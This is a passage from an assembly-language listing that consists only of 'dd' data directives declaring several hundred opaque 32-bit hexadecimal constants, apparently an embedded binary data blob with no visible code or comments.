		dd 744D6771h, 637914h, 549B6C96h, 4C778CC3h, 0C2733600h
		dd 9A392F7Bh, 6B4B001Ah, 0F9E98ED7h, 0FB01DD10h, 9DAE734Eh
		dd 17F0C825h, 75F87DE1h, 0E3D13ABBh, 0CF48DA00h, 9D378895h
		dd 8AAC2A00h, 6E6F15CBh, 2E44A0B6h, 0CFCE0070h,	0C0FAA167h
		dd 0F200EDE4h, 98EFE712h, 4D0AB9A5h, 0C700F6E2h, 0AC327377h
		dd 1338AA3Ah, 0F0450072h, 912D849Bh, 0CFF30001h, 0E83CEC09h
		dd 7D0097F1h, 458AF64Dh, 0F0AA9EBh, 53ABD112h, 7107D3A0h
		dd 3700AAAFh, 352A4355h, 0C08C3BC5h, 89731D18h,	6A009005h
		dd 7B6E11E3h, 0DD70FDh,	0A9F12E4h, 6F6782E1h, 3E595000h
		dd 65782147h, 0A10F00DCh, 0E5245EAh, 0C013C69Bh, 1807EDD2h
		dd 2FD7BCBFh, 8BE1801Eh, 0CA86EBDh, 40D7536Dh, 0C9009C30h
		dd 90F406E5h, 25F193h, 593B9BB6h, 5A291389h, 0EED7BD18h
		dd 35D258h, 18CFD619h, 404852A8h, 2E30C154h, 612C3D00h
		dd 8F29F2DBh, 326E39A5h, 5BD26A0Dh, 10B017A1h, 550C5702h
		dd 0C6288218h, 1FCCDFA8h, 56E4F7h, 0C087FB54h, 0D900B013h
		dd 0C902B6C5h, 739801h,	0D5E4B566h, 0B2E1608Dh,	0AD3B9400h
		dd 0A576A4C6h, 0A83103F1h, 0C9C70BB6h, 0AA88E098h, 0AEF5E600h
		dd 0E82A2F0Ch, 86301BD7h, 0EDE33801h, 67E006C3h, 6800757Dh
		dd 0A789341Bh, 26D8DB4h, 0BEEE38ECh, 104266E3h,	0DF19820h
		dd 83F7CCD6h, 4CDD9188h, 97F908Ch, 0DA2301EFh, 3D41C5F2h
		dd 2BAC0ABh, 7E196F00h,	9079E147h, 10894824h, 0CB307C33h
		dd 100086C3h, 0E58EF532h, 0EE0EA4h, 0CC602F1h, 6E3DB4BCh
		dd 61A9A000h, 99C14104h, 6993014Ch, 1C1B1F83h, 0D9F6C779h
		dd 0BC0AD0E7h, 0A0E23230h, 3F6483h, 31623AF8h, 0EEEFF5DDh
		dd 0CF5F541Fh, 2818C318h, 0DBC206F6h, 0D9ED96C6h, 0D2A78C07h
		dd 0C0805282h, 0B02E5D7Ch, 27570099h, 1E787D98h, 9124EA4Eh
		dd 6A0258E4h, 40F7344Ch, 0E441840Bh, 4F4075Fh, 91E02C38h
		dd 0FD32974Fh, 7FE05096h, 0F607DE7Ch, 0FC7348D9h, 9B446BD0h
		dd 3FE626CDh, 0A5E1C25h, 826C7FA0h, 0E0B39EAFh,	26D5E3FDh
		dd 6C7749h, 0E12A8BF6h,	0F07A5343h, 48031700h, 0C7C0D8BEh
		dd 0E93B891h, 9F68DB4Fh, 98107349h, 42005A84h, 28406920h
		dd 0FC31E0h, 91E8B02Fh,	2BC204A7h, 58CE4D1Ch, 0C73C2180h
		dd 33A579h, 80EB84B1h, 0E6C13799h, 12690795h, 39029870h
		dd 323831BFh, 0D06F94A0h, 0C10364AEh, 0F3D6A84Eh, 7893F9EAh
		dd 8F6D60h, 7F027CBFh, 3C527557h, 0CC9D0E00h, 6EA786E2h
		dd 364E2A78h, 0CE7A00ACh, 0BA7F8309h, 78950887h, 94AD0296h
		dd 0A31504DEh, 24B8D660h, 0A5696E00h, 7FDBC556h, 5979045Fh
		dd 91C3D4B6h, 8037BBD8h, 0CD955BF1h, 4B4818h, 0D4754CB5h
		dd 0A906026Fh, 607D307Ch, 4E9BBF0Fh, 80099377h,	0D98030EFh
		dd 31580036h, 0CDF7F214h, 0B4075FB3h, 0A6F4BD1Dh, 9B00F6F5h
		dd 8563EB40h, 9A81024Ch, 88BFAFE1h, 0D3052068h,	8050DC3Ah
		dd 60498EECh, 1277CD3Ah, 7A94F81h, 60109ED4h, 7250E329h
		dd 6D0A2898h, 0E459A478h, 0E2887100h, 2440FD83h, 0C1743B0Bh
		dd 0C4DC4232h, 8A6291A9h, 0E2B60471h, 80C04502h, 313C1E7Dh
		dd 0B90BEBB6h, 80A17020h, 0D75DF28Fh, 0E2F6006Fh, 0ADBE2380h
		dd 353B4147h, 7A720363h, 0A00E36A4h, 26494BD3h,	20AC0Fh
		dd 88BB9303h, 400F8AF2h, 6109B041h, 387D905Bh, 8FEEF883h
		dd 0A100E171h, 4E3CAEF6h, 86D2B8h, 8F9E6CBDh, 9587D525h
		dd 354868FAh, 9655006Ch, 0B4C9A216h, 1BB25880h,	1561F840h
		dd 0D45B824Eh, 6424F024h, 22B8D363h, 0EA0F7698h, 2701FC90h
		dd 92A6D3DFh, 84408DAAh, 13685B0h, 0E42755Ch, 60DED0A1h
		dd 2F135610h, 40404A76h, 0BAE377ADh, 4C1A4878h,	43A08E00h
		dd 0AC02E290h, 0A47A0329h, 9DE1F518h, 0D946129Ch, 0DD4062C6h
		dd 8A6F0440h, 35551A00h, 0E1DA76F1h, 44391201h,	872B01FAh
		dd 0C8DF3DD2h, 0B3003B06h, 0FEA81194h, 26250272h, 0A3E82880h
		dd 0B80704FCh, 0A75090EEh, 0F3037238h, 0CDFB0E14h, 8C49EDD1h
		dd 196414F1h, 11FBD851h, 0E87EC01Eh, 84EF6D2Ah,	56F20E01h
		dd 74F961D7h, 4C8680D8h, 571CB048h, 0FEEC49F7h,	0AF14800h
		dd 0DD35BB9Ch, 0F400F9DCh, 0B4036C8Dh, 4198059Bh, 8111D80Fh
		dd 49CF762Ch, 30505090h, 90A8E6B9h, 0FF090BA9h,	842A4A83h
		dd 0B4DC6DBCh, 465D0053h, 0B2AF1925h, 87128A2Fh, 9026FEF0h
		dd 0E49E00B0h, 0AFDBF7A9h, 0C40034B8h, 5ED18DD4h, 25C8869h
		dd 4A580E04h, 5C413068h, 7AF7706Bh, 254E859h, 0C743BD9Eh
		dd 9000D5E6h, 0A7417744h, 88556430h, 9AF1229h, 837F303Ch
		dd 3B20A82Fh, 489D1393h, 0F9A3E018h, 9C053B0h, 21D325FCh
		dd 5EE3EC00h, 113D80A7h, 0FFFE00CDh, 4FF6BF13h,	779E1D1Ch
		dd 3FC800D7h, 26F0C02Ah, 56DB33Eh, 14FB8A67h, 647FC882h
		dd 0B0D801E0h, 0A039AEE1h, 93542444h, 0DFD58200h, 996301D2h
		dd 0B1009262h, 6DF40BF4h, 5410800h, 122CC1A9h, 0EB4094EAh
		dd 0C06E17B7h, 0C6D00A71h, 0E1C088B1h, 8F76DE09h, 0DCCD2813h
		dd 1E74986Ch, 42898D59h, 9693D69Ah, 416110C1h, 20D1CA5Ch
		dd 0D400C710h, 0BCD8DEB4h, 712088AFh, 4E5D0237h, 6E2AC665h
		dd 28917066h, 31DB6B00h, 3694BF4h, 3E5C2719h, 0D9CBC691h
		dd 6C83D5FAh, 0B81F2FD2h
		dd 1680AA7Ch, 0D99A9FF2h, 0D84C03ACh, 0EE53A070h, 175A02A0h
		dd 90A648h, 0DC719C0Eh,	48992D84h, 9052DB67h, 112958C0h
		dd 99070AEFh, 0DEDCBAB6h, 68C4B114h, 4173A0C0h,	0C0B09A3Bh
		dd 2EAAE150h, 4935831Eh, 0FC87D85Fh, 28884200h,	3020E7DBh
		dd 0C79D2C3Dh, 661364h,	3CE5E4B4h, 2291147h, 0AE842864h
		dd 24C245C0h, 0B020AA5Fh, 0C10E2C00h, 0A324A7Dh, 758BF3C5h
		dd 791A008Ch, 348948F5h, 0F0CCBC25h, 6096FE2Eh,	69FFA16Fh
		dd 0B8A236F6h, 0B415744Eh, 80BB47h, 991E6B2Ah, 4878447Ch
		dd 1F0068FBh, 5220E1A8h, 0CF3F965Bh, 0C31001EAh, 0F01961A1h
		dd 8481828h, 287CD4C0h,	5602943h, 23A44A60h, 0A8DC02C8h
		dd 168D6F42h, 17118460h, 72010D2Eh, 92B1D100h, 7A34BDEEh
		dd 605CB186h, 6005122Bh, 0F47E3700h, 0ED2FCEDAh, 70074866h
		dd 7C50C05Ch, 43A30088h, 102DFCAFh, 2E330109h, 0EAC4495Dh
		dd 0A01CCBA6h, 38DDFF57h, 0A8609725h, 30C40680h, 2C075494h
		dd 40199575h, 14DFBBE8h, 0CC9C5EADh, 4F397046h,	88800825h
		dd 14E93C97h, 0FE71EE09h, 93B4003Dh, 90747C58h,	0DCDA0AD4h
		dd 9FB8C4ABh, 0E91C01C2h, 0BA1B6860h, 97BB0351h, 0C8D3B14Fh
		dd 49583592h, 0B0539850h, 0E69D8900h, 73B1547Fh, 0DC7BD304h
		dd 18A011B4h, 0FEC228F5h, 154B0A88h, 12FC5246h,	0F00C896Dh
		dd 903E57BBh, 0E27C8019h, 3AD296F4h, 0C3F50335h, 0D711A78Bh
		dd 906867AAh, 153E5938h, 0A00A0B85h, 60980DD0h,	0A99AFC00h
		dd 9B4F00EBh, 6B710815h, 5B014D74h, 9E0E3A5Dh, 4430B7C7h
		dd 0F2661EECh, 0A2CE4F25h, 5A4144C0h, 5509263Fh, 136954Ch
		dd 99748738h, 50D31BC8h, 77DCCCh, 0AA2BB8DEh, 0F5CD1EB7h
		dd 0FDB91400h, 0E02E292Ah, 66600979h, 9C6C6730h, 8D0D924h
		dd 851E2000h, 26A8B4F9h, 81D480BFh, 305B249Eh, 884C20DDh
		dd 5C30DC4Bh, 1619564h,	81A79D11h, 3F8A1D7Eh, 646208E1h
		dd 0C90D052h, 48FDC25h,	31C607C2h, 782F2848h, 18BD8200h
		dd 72627B0Ah, 0DC6C507Eh, 8440A0E1h, 92983E2Ch,	90286025h
		dd 7B6D01B4h, 2536D1FCh, 980DEC64h, 0D909887Fh,	0C09EC0D8h
		dd 0F6B6BCh, 536A024h, 0D5D779Bh, 3964F14Dh, 67F980C0h
		dd 287D9EEFh, 588C1694h, 5C8209Dh, 618F284h, 67CEC4B6h
		dd 749473h, 0C274319Bh,	1010F981h, 1D03DB75h, 0E46B6AA2h
		dd 0DB0379C1h, 196090CCh, 9B4968C2h, 2E040188h,	9F6E479Ch
		dd 2DF3F0h, 7AC50928h, 0F7A06124h, 4CFE9509h, 59AC0142h
		dd 50F4875Fh, 9FA71246h, 70F0C754h, 5EAF4E37h, 0B1071212h
		dd 0A445808Eh, 355FD080h, 3EB6AD1h, 9A18DE60h, 0FA0F6430h
		dd 1210B66h, 40A0B8C4h,	0D56CD46Eh, 88E84Dh, 365BAD96h
		dd 1F3817Dh, 0EB3F9F12h, 504C9AEEh, 645F31C0h, 90F4E150h
		dd 226BD25h, 4A7E4E2Ch,	4F404F4h, 0DF250C0h, 0CD44248Fh
		dd 1E5B832Ch, 3001C002h, 9ABCA97Ch, 0A0EA3019h,	3F263D98h
		dd 888CB863h, 905DA468h, 0DEAB5050h, 8D3C0121h,	2C0666C4h
		dd 0D3C840F2h, 8CA358F0h, 0CFE712C8h, 0C0A89099h, 390004A4h
		dd 71B2A47Eh, 0C033124h, 0FB0FDE1Bh, 0D20EA520h, 0BA87D8E8h
		dd 41E45970h, 346E4ED6h, 300A598h, 9D56C7D0h, 0C2376CA4h
		dd 0CE19118Eh, 6A250C60h, 0FFC04409h, 52B6000Dh, 0B03F4701h
		dd 53740064h, 965E16E8h, 7E496734h, 540E18D4h, 37AD4B71h
		dd 0D1988081h, 0C0C1E4B0h, 3B1686BCh, 945F9843h, 382558Eh
		dd 29BE9D2h, 0E129C99h,	7460605Bh, 0F848BE1Eh, 14962CF8h
		dd 91766981h, 0E1CC32F7h, 0B8A572C4h, 5E0A505h,	0A37F6A39h
		dd 42A90020h, 5CD525EFh, 874901E1h, 0F698BFB6h,	0F39DF066h
		dd 0CE61B00h, 6BA26373h, 885B0032h, 87B3CFD5h, 2092CDF2h
		dd 4DD4380Bh, 0E3A08386h, 2C80EDCh, 110026E8h, 0F21DD9B0h
		dd 2D0C3090h, 3929D392h, 7E600234h, 0EEF5E4DCh,	23EB1066h
		dd 31C4994h, 5DADB5D1h,	8F89882Fh, 9B1C003Ch, 0EFE842B7h
		dd 0B5267A4Eh, 9082848Bh, 9CEA25BFh, 0DB1D0AF8h, 9DCA203h
		dd 0E8657141h, 408E5C02h, 0ABC6882h, 0A4D84966h, 7850007Bh
		dd 880C98A9h, 0EE058A9Eh, 433CAF4Dh, 57154080h,	71E7607Ch
		dd 0AC90DDB8h, 0E56CCB00h, 9E1EAB74h, 34C9161h,	0E2DEC0B2h
		dd 0C1D420E5h, 7B01B7D8h, 72756E43h, 9450CA16h,	591AB194h
		dd 0DC5338FAh, 8897B616h, 702A0130h, 6F079C27h,	0AEEC23CCh
		dd 1F03E470h, 0C8CE2CFDh, 1802CBA0h, 0D44878CAh, 8F167E27h
		dd 44209BD8h, 0B069DDDh, 3B4FED49h, 40B4D80Eh, 361C00D2h
		dd 63989FA9h, 0C0007BE2h, 0C5DE119h, 0FF6402h, 668F3F29h
		dd 4B6DA378h, 4E00FC7Ch, 2174BDD8h, 12DA4D84h, 3AE72Eh
		dd 0DF47448Fh, 0E4A0F360h, 0C41DBE3Eh, 27870EF9h, 5490E668h
		dd 919AF1h, 0A8E9F6FFh,	3A43BF6Eh, 0D49C7600h, 0E206D3DEh
		dd 0B70C0E9Fh, 66E149A7h, 575C7091h, 0F703C0D0h, 0BF00DE89h
		dd 0FED6D7BCh, 9E55F26h, 0DCD38B16h, 499BF400h,	0F802B277h
		dd 46DA052Dh, 296E174h,	4C662431h, 15AA0596h, 0FAA84096h
		dd 0C66320E8h, 7F91E060h, 947CE473h, 0C0C19288h, 17F12D5Ch
		dd 0CFA01903h, 98EF4681h, 4A3C5E31h, 0FD0006Ah,	8EF3C8AEh
		dd 22CABCA8h, 78FBFE24h, 0CE60B989h, 0ECA88148h, 26A8CE70h
		dd 48C17D6h, 8BF20A23h,	0D29700B0h, 572FCEE4h, 782FB0D7h
		dd 0CDBA00EBh, 82983329h, 5402B1C4h, 0D8A34E1Ch, 94462E5h
		dd 3224101Ch, 6AB70C86h, 18996683h, 695C4130h, 2D52C896h
		dd 2C80372Ch, 2E0F6659h, 430D1C0h, 710C75E2h, 969EE65h
		dd 10ED033Ah, 0FC189C4Eh, 9F61FD04h, 36294C27h,	332FA307h
		dd 0F49C84B8h, 44F8985Ch, 42CCB201h, 0EFAE5946h, 2C60A037h
		dd 0BD5A6875h, 0BA4E0609h, 2F1A047Ch, 0B9CCC0BBh, 6B18B4A8h
		dd 6C81D3ADh, 5A570473h, 0F55CB325h, 5D3438D8h,	73904CE0h
		dd 4E8A520Dh, 0B9CD39F1h, 0D1DFF0h, 0E7B4312Fh,	5F5C575Bh
		dd 149A812Eh, 1A8D6185h, 68D59081h, 0CE122437h,	0D07C1283h
		dd 903C1564h, 50EABE31h, 8038F5B6h, 8B5D9300h, 0DB07CF6Dh
		dd 2F1D9F90h, 3700B84Eh, 0E089253Ah, 0A4D4000Bh, 9CB44910h
		dd 311319E7h, 4C708B76h, 2536AFBAh, 0E0B2986Ch,	7E2A2810h
		dd 0FDF3BA16h, 0FB5E4440h, 10B14CFh, 555CF6A6h,	792D1C16h
		dd 0E6B90004h, 0E911438Fh, 953C019Fh, 3DB07A3Ah, 17C2DE2h
		dd 92FA6178h, 0C2C814B1h, 20DF4816h, 0FC5CFF02h, 345825D2h
		dd 300166FEh, 87719B1Eh, 4C382B3Eh, 71739A0h, 9E093F00h
		dd 891514DAh, 40874EBEh, 66578D98h, 26261B72h, 9E007032h
		dd 0AD489AE1h, 0E018BEA1h, 4D834EECh, 0C6069C0Fh, 7AAFC0F4h
		dd 39E70BDAh, 0C238B5D4h, 0C0168927h, 1B569125h, 405AAA80h
		dd 0F8607237h, 34F700A1h, 2C75AA73h, 193086FFh,	0A62EAC01h
		dd 1DEE00F8h, 0FAB93D3Fh, 0C5171820h, 0B0940783h, 1B0060DFh
		dd 64149DCDh, 0DC926299h, 0D9770C0h, 164B122Ah,	8498D6E5h
		dd 0C044CC5Ch, 0B790CC0Ah, 315068B8h, 90A812F6h, 0A61480B4h
		dd 130938A7h, 0A0ACBBB0h, 1B9CF780h, 4A8C90EFh,	25F82C6Eh
		dd 22282095h, 602E653Dh, 0DDE32176h, 0D7011880h, 95B10626h
		dd 0A438307Ch, 30365AA1h, 31070CBDh, 5EF952BEh,	0D6D3A891h
		dd 0BC80E038h, 9EEE3FD8h, 0FB93910Fh, 9AD2EB38h, 75186038h
		dd 73AA09B6h, 20937F87h, 0CEEB44B0h, 99C5A51h, 0D36801E0h
		dd 0D64C6C58h, 55D7B880h
		dd 10C90E0Bh, 0E11283D5h, 2B8800DAh, 0A3006C8Ch, 325F6DB6h
		dd 0BE9F0681h, 6485A5C4h, 90ACDCCDh, 0E00AE517h, 0C5680D0h
		dd 0CEF82C01h, 29C04E40h, 0C2EA478Bh, 3D8CF54Dh, 0AC2601A1h
		dd 5DA43D24h, 8A007827h, 0D9729E60h, 50974EEAh,	0DD12335Fh
		dd 7F933770h, 0E888ACD1h, 735B04A9h, 9FB7D830h,	345D3920h
		dd 3A12A081h, 61BC689Eh, 0A0703838h, 7538FF51h,	0F4DF0060h
		dd 0CBC0EDCEh, 0DE00F3BCh, 92CC61Ch, 9710801h, 0A4C3AB2Eh
		dd 1BCAD0E0h, 0DE047F01h, 49A30CAFh, 10B97074h,	1E3D206h
		dd 431CA437h, 38246373h, 9649093Ch, 7CCEBAD9h, 3675301h
		dd 69B1B2E1h, 252F0474h, 442B1129h, 80C31207h, 0A878CF75h
		dd 24B98906h, 903FE3h, 0D8BA3313h, 3623AFDBh, 3B0D8400h
		dd 7C7DD1ADh, 0C477B85h, 19B351CAh, 0FC07A430h,	3E84450Dh
		dd 0CCDDCE21h, 0BC6803CFh, 419626F8h, 0ABF673A0h, 7F2E8500h
		dd 7DE6FD9Dh, 0EEE42543h, 0C86208CAh, 0B804A4C6h, 0E3E44EBAh
		dd 1DE280FEh, 5D004DE9h, 0EB4632C6h, 4DDF3A99h,	145FA46Dh
		dd 20044824h, 8047A1BEh, 89F68C08h, 7844641Ch, 0AED38541h
		dd 99DFD2AAh, 97C072E6h, 554B073Fh, 24EE3BECh, 6D30C0EFh
		dd 2A09629Fh, 90F0AED4h, 0F6FE7238h, 14A29528h,	2D079239h
		dd 47C54B00h, 0A9AE0BC1h, 48EFE45h, 84D1CFC5h, 0E84B370h
		dd 0ABAAB732h, 5158296Bh, 0E463C584h, 651854ACh, 45E037F9h
		dd 0F6D60074h, 404CD52Dh, 10023F0Fh, 1227A37Ah,	0F968E01Eh
		dd 951D0020h, 0A6D25304h, 720A1530h, 9C310A58h,	1EECFC00h
		dd 0E66BC62Bh, 0EA7D742Dh, 873F0071h, 0DC459C59h, 4A1E6A31h
		dd 80C74377h, 7F706F1Bh, 7988DD6h, 6DE9ACAh, 890A981h
		dd 96124EAAh, 98A28E8Ah, 0F400804Ch, 3CFEC7E4h,	22008361h
		dd 0D7EBD1F3h, 0F00FDFh, 992E31E1h, 1D19A6DEh, 68B8A016h
		dd 291C83h, 5AA13FA0h, 0E0678E86h, 60922C24h, 156EAD80h
		dd 18943C25h, 19FE5F9Fh, 0B3007A4Bh, 0F1B6F238h, 4E5FC25h
		dd 5620EC70h, 7CE80DFh,	0AC01E694h, 0E4793A84h,	2DD44F31h
		dd 9702772Bh, 0C9DD7004h, 0FAEEE888h, 0A8DFE25h, 0C29FCA0h
		dd 0A823EB84h, 18B2B085h, 0F507D848h, 0AAAA8760h, 406512B5h
		dd 0E05DFBCCh, 5601439Ah, 5C6DE62Eh, 0FC50299Dh, 3CED7Bh
		dd 797AD3B4h, 0DCCA8599h, 48B789D2h, 1A792700h,	0C2C6FAEDh
		dd 0D12C96EDh, 0E4B5C28h, 0F717A6E7h, 0CF21E84Eh, 8E353DEAh
		dd 0F07C26h, 0FC337425h, 0F6230129h, 548AD95Ah,	2E8F21E5h
		dd 0C068C00Eh, 0F92A57A4h, 0E4B100BEh, 0C6D6073Eh, 1D04D45Fh
		dd 0DCE378C0h, 0C762D0F4h, 0BF94FE96h, 0AC52B9C9h, 818820CBh
		dd 31053FA8h, 0B080B031h, 0AADF2766h, 0F54D6E7Eh, 949A076Ch
		dd 0D800E9B3h, 15E205ABh, 2444B6D7h, 0CC633051h, 5D2D2800h
		dd 0C023FC39h, 0E3003C92h, 79D782A1h, 9AC9124h,	9C477EF8h
		dd 68D06042h, 60BC3890h, 367B1E60h, 895D001Ah, 4A58EB47h
		dd 0AEEC3986h, 327D8801h, 8EAC0CC5h, 5244A981h,	0CC3E5CA3h
		dd 8601B453h, 7F7DF549h, 12AAB4Ch, 70F3A850h, 0C4D8E707h
		dd 0EB00404Eh, 90D4385Bh, 3AFA6h, 9E28FBB9h, 85C2FF9Dh
		dd 0E0D28690h, 0A00278E3h, 0E20A83CBh, 3103AC5Bh, 8AB90B85h
		dd 7185C96h, 0E0D7F5EFh, 0F00DE079h, 0F4000FE4h, 0F2D4A1B0h
		dd 4AEC6A80h, 2844D031h, 80EFBE95h, 0F8FECAD1h,	5A6385h
		dd 9DA71310h, 6B65B29Fh, 273F2404h, 0F8C0F6D9h,	0EB482566h
		dd 0DB2B5440h, 2F220372h, 0B211962Eh, 8EC8E5C0h, 48541B27h
		dd 2D891EACh, 0DFF8F90Ah, 89324230h, 750ACADh, 4E69B61Ch
		dd 0ADE2026h, 0ED1DD223h, 0A13024C5h, 4102F91h,	0F7EAF3DBh
		dd 8000963Bh, 5C952704h, 5C907C44h, 0BC517BDAh,	0F4C461C8h
		dd 0B0662ECDh, 358F4A41h, 2F60A7F8h, 74B8206Fh,	180311FFh
		dd 48DE6632h, 432E8871h, 6800C936h, 1A6241FAh, 8C8B9D7Dh
		dd 890E68C4h, 0E039080Bh, 0C0148E09h, 44D43EEBh, 81BB3F81h
		dd 0F830E207h, 0A71D43F9h, 0A53E4710h, 5B70842Ah, 0D2A3D0C1h
		dd 0CAFCE12Ah, 6A4274F1h, 0D250E05Eh, 16DF137Bh, 24C05FAh
		dd 3C9CA5BFh, 0F4005B7Ch, 0C3D903B5h, 0CC940B35h, 9044F2B7h
		dd 0CDE29D00h, 2FCADA6h, 98594BB8h, 0BC0035A8h,	0E129E65h
		dd 754E4973h, 849C033Bh, 0F658924Ah, 81633DF9h,	5BA17831h
		dd 0C45016D2h, 4B878A01h, 3A208C7Fh, 242678B6h,	0DA21F107h
		dd 0B0D0A140h, 53A40063h, 0E72B3ECBh, 1D0174E9h, 0B1ECA23Bh
		dd 0A4635240h, 0B6E0DC2Ah, 0B8887C0h, 0DCC05BE8h, 0DEF8D130h
		dd 68E11913h, 104CF4B2h, 0CCDD800h, 7E58BF9Ah, 6A474A00h
		dd 50D0972Fh, 859B4E59h, 0B7ACC024h, 84000DE1h,	88F34C8h
		dd 0FEE84DAAh, 10E60440h, 80B0A036h, 2484FEF0h,	0AF5A1A19h
		dd 0E8284710h, 1E34DC4Eh, 7B13CF7Ah, 28C45FF3h,	305D1CB3h
		dd 0CC19A580h, 42F8FDF5h, 7CE8B4Ch, 306D5932h, 7F827C70h
		dd 31562564h, 38102C02h, 109012Eh, 0BBE037DBh, 6D942C62h
		dd 4B8E0364h, 8AF94D6Bh, 64A5D160h, 0AE0B611Ch,	922C5AADh
		dd 0F429C358h, 2DC6F8B8h, 8517996Ch, 7CC88EB5h,	698B07AAh
		dd 606570EEh, 0E8BA0A09h, 1E4E3E02h, 403DD4FFh,	5C5A9D48h
		dd 4B396C0Ch, 0EFBC3B8Ch, 0FE586E58h, 2BB00051h, 8A512AFh
		dd 48E1005Ch, 710ABAD0h, 0D44BD3C1h, 22D40DCh, 2327A6F0h
		dd 0A8E73B6Dh, 0C9719B8Bh, 0A1700A0Ch, 40A000B6h, 55B433Dh
		dd 389F0BC6h, 0BD5727Ch, 8750563Dh, 1488A048h, 4A677700h
		dd 2890058Bh, 8176028Ah, 0C798CD3Ah, 0F448347Ch, 0C245617h
		dd 1AA2CE0h, 1D8E5C44h,	3A5BD3ECh, 49E2582Ch, 0F2C0141Eh
		dd 9C9269F3h, 51949295h, 4898C09Ch, 280301E7h, 0CB9EECE8h
		dd 9B03A8B6h, 0B019C1EDh, 2CFE100Dh, 2589A060h,	0DFA90014h
		dd 0AAAEC20Bh, 6009A176h, 817CDAE1h, 5E450ED4h,	487479E8h
		dd 5D12426Bh, 6050970Ch, 9C42761h, 0B4A4D64Ch, 0F06853h
		dd 0A8E300AFh, 8D1B0B91h, 77123873h, 0E842B064h, 0E0012EAAh
		dd 14D016h, 438FD9BDh, 47183159h, 55D08750h, 54C17A58h
		dd 103B935Ch, 920CC809h, 9CB2EC12h, 0A4F1809Ah,	0A0314A0Fh
		dd 0EE6A3EDh, 0CCD00E56h, 0D6E4041Fh, 80D8E8DCh, 0DF05612Bh
		dd 0BBCE05E4h, 326D3DBCh, 1CC88AE8h, 203CA363h,	28931E74h
		dd 212020A7h, 4B91B24Ch, 3178D3CFh, 6CC398BAh, 66D379E8h
		dd 0C2002870h, 43E7D9B0h, 7CEB426Ch, 0C04B4B5Ch, 0E8039EB4h
		dd 0A64DDA3Ah, 816D7C33h, 1C8292Fh, 6BBAC64Ch, 25EF0840h
		dd 12B7DAh, 63662987h, 3FC2EB20h, 0DF4B8500h, 0D310E4CDh
		dd 69BC3DDCh, 0BA82A4BEh, 0CB3CCC6Eh, 0BB864874h, 13DC043Ah
		dd 12F2A122h, 274C002Ch, 14E405B5h, 0A4DBEE24h,	96C39053h
		dd 0BBCB0018h, 9DD5E525h, 0B9778F9Ah, 0C020EA4Ch, 0EBD07874h
		dd 91F700EEh, 0D3C936B8h, 0CA6BA28Dh, 1EBA02E0h, 2CFC70E5h
		dd 406CB4CBh, 1F12BBA6h, 0D3B2AC03h, 0A278ED50h, 808CD444h
		dd 37979E58h, 437D24CDh, 8EBD3000h, 593CE208h, 9A3300E0h
		dd 1AFCB39Eh, 3B4B2924h, 42C66042h, 8964C5A8h, 0A072FEF0h
		dd 38609C2Eh, 0B8C68CE3h, 97ADD5B1h, 8B763400h,	0C17C28ABh
		dd 5780849Eh, 0B70A03D7h, 99713Ah, 2CDCC722h, 917CB4AAh
		dd 42E880EBh, 62236DF2h, 0CC820A86h, 0C8CA8Fh, 40287F9Ch
		dd 3EE75B22h, 4088544Bh, 0A26DCB68h, 0CEF06014h, 0B8A99F2Fh
		dd 0A8662C20h, 9507EA79h
		dd 0D787C249h, 24BCD054h, 97B4904Bh, 0A8A0483Fh, 10472C2h
		dd 59B644E2h, 0F28FC88h, 0EA1A2BFAh, 0A34B00BFh, 0EF2E033Bh
		dd 6D52E609h, 0F03083D9h, 0CA83E0C4h, 338801B3h, 3842655Eh
		dd 5C4CCA46h, 359AC0C0h, 2CD0ED62h, 59F44558h, 1AB0E797h
		dd 99975DD2h, 4F6E0E90h, 0E0A0F100h, 113BF9FDh,	0B2DB2702h
		dd 7E5CC164h, 1398283Ch, 0A3319EB9h, 48B0932Ch,	728500E3h
		dd 50836D90h, 0C0F9F4B6h, 0D6384B94h, 0B8B58049h, 0CDE7F3D2h
		dd 3A370EDEh, 40F3E52Dh, 0B303F248h, 11C0DB23h,	3AFF451Bh
		dd 7AE4002Bh, 79B6680Ah, 9AF20B16h, 7C82EB0Fh, 333680E7h
		dd 22AACEh, 2A0FEF1Dh, 2FB82DB3h, 0A0C4949Fh, 1AD3A2Ch
		dd 0BF3F0EAEh, 0EFD5CBE9h, 1C403CAAh, 1900DF0Ch, 4384B71Bh
		dd 98D43766h, 0E05CBC6Ch, 455D92B1h, 7C095371h,	5B5B2168h
		dd 0DBD68014h, 0AE3F8516h, 72B5DE07h, 4DD0D2FEh, 7BA59EC5h
		dd 32C70BBCh, 4402C31Ch, 0DC50D76Ch, 0A29C900h,	0C7BF5EF2h
		dd 65490A4Eh, 808CE50Dh, 37E96E21h, 0A00BC233h,	6631E85Eh
		dd 1FB896F4h, 51B19893h, 2600F9ACh, 5E5735A8h, 89A907h
		dd 3AA7B3BEh, 5975D1Fh,	24BC1600h, 80A2D039h, 3CB222FAh
		dd 0B30D34A0h, 0E2552B0Bh, 0AC0165Dh, 38456D4Ch, 0C4D44340h
		dd 0C0745CDAh, 0A8A3F164h, 0E8DC101h, 34CA7826h, 8B0071CCh
		dd 0F625235h, 71E0A2Eh,	0E36A4819h, 0B0C7A19Fh,	2B09ED76h
		dd 88DCCC30h, 0E35B24h,	3CFC130Ch, 0EA00BE65h, 433BA05Fh
		dd 0B4DB14EBh, 0D3824040h, 0C74F2169h, 0A48D0CC5h, 0E9B0332Eh
		dd 0A0A4A382h, 52A4F82Dh, 974C024h, 6A2B25h, 9E638660h
		dd 13B95988h, 0B4041EF8h, 4401EB7Ah, 0CB83E0ADh, 0B000FFBCh
		dd 2476040Eh, 1CD08199h, 499E9582h, 630E91B6h, 4C70786Bh
		dd 55CCE200h, 9EEFCB7Fh, 0DE2C0092h, 73CDFD7Ah,	130E899Ch
		dd 0F567059h, 0AFA58034h, 0AC812h, 0B97FE246h, 86758EA0h
		dd 6EDC38h, 0DE456F5Eh,	1D2F60h, 0F801CEB3h, 0A02B4D0Eh
		dd 0CDA51A05h, 9E806B85h, 6063CC86h, 0C27DA198h, 8F0FFD6Eh
		dd 632D79C6h, 0A8FFCB13h, 23B1F5h, 879EDCCEh, 8083755Dh
		dd 5C6E4806h, 148642Bh,	2D10A865h, 0C47F94B7h, 15F491DAh
		dd 0E05AAE0h, 0A459067Ch, 2EEBCD00h, 0F11816h, 0DDF2C907h
		dd 8BE7829Eh, 7C8444Ch,	0DB605D9Ch, 0ED53C071h,	0EAECC4E5h
		dd 0BAD18C9h, 0A1DF58DCh, 80A01D76h, 6407DB6Eh,	6EB3AF7h
		dd 0EA08F850h, 0E778ADh, 3C37AFCFh, 85074591h, 0C6F7FD00h
